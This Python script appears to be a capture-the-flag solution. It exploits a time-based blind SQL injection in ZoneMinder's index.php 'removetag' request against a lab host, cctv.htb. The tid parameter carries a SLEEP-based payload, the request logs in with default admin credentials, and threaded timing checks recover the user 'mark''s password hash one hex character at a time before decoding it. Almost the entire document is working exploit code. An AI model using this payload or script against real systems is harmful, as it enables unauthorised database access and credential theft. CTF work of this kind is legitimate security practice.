import requests
import string
import time
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

base_url = "http://cctv.htb"
endpoint = "/zm/index.php"

# Characters to test
dictionary = '0123456789abcdefABCDEF'

SLEEP_TIME = 10        # seconds to sleep on true condition
TARGET_USER = "mark"
MAX_PASSWORD_LENGTH = 64 * 2
MAX_THREADS = 10      # maximum concurrent threads


def check_char(position: int, char: str, stop_event: threading.Event) -> tuple[str, bool]:
    """Return (char, True) if password[position] == char for TARGET_USER.
    Uses timeout-based detection: a matching query causes the DB to sleep,
    triggering a ReadTimeout."""
    if stop_event.is_set():
        return char, False

    payload = (
        f"1 AND (SELECT SLEEP({SLEEP_TIME}) FROM Users "
        f"WHERE Username='{TARGET_USER}' "
        f"AND SUBSTRING(HEX(Password),{position},1)='{char}')#"
    )
    params = {
        "view":    "request",
        "request": "event",
        "action":  "removetag",
        "tid":     payload,
    }
    data = {"user": "admin", "pass": "admin"}
    headers = {
        "User-Agent": "curl/8.18.0",
        "Accept": "*/*",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    start_time = time.time()
    requests.post(
        base_url + endpoint,
        params=params,
        data=data,
        headers=headers,
    )
    elapsed = time.time() - start_time
    if elapsed >= SLEEP_TIME:
        return char, True
    return char, False


def brute_position(position: int) -> str | None:
    """Test all characters for a given position using up to MAX_THREADS threads.
    Returns the matched character, or None if no character matches."""
    stop_event = threading.Event()
    result_char = None

    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        futures = {
            executor.submit(check_char, position, ch, stop_event): ch
            for ch in dictionary
        }
        for future in as_completed(futures):
            try:
                char, matched = future.result()
            except Exception:
                continue

            if matched and not stop_event.is_set():
                stop_event.set()   # signal other threads to bail early
                result_char = char
                # cancel still-pending futures (best-effort)
                for f in futures:
                    f.cancel()

    return result_char


def extract_password() -> str:
    password = ""
    print(f"[*] Extracting password for user '{TARGET_USER}' ...")
    print(f"[*] Sleep={SLEEP_TIME}s | Max threads={MAX_THREADS}\n")

    for position in range(1, MAX_PASSWORD_LENGTH + 1):
        print(f"[*] Position {position:02d} | Testing {len(dictionary)} chars with {MAX_THREADS} threads ...")
        char = brute_position(position)
        if char is None:
            print(f"[*] Position {position:02d} | No match – end of password.")
            break
        password += char
        print(f"[+] Position {position:02d} | Found: {char!r}  =>  {password}")
    
    # convert hex password to ASCII
    try:
        password = bytes.fromhex(password).decode('utf-8')
    except ValueError:
        print("[!] Warning: extracted password is not valid hex or UTF-8.")

    return password


if __name__ == "__main__":
    result = extract_password()
    if result:
        print(f"\n[+] Password for '{TARGET_USER}': {result}")
    else:
        print("\n[-] Could not extract password.")
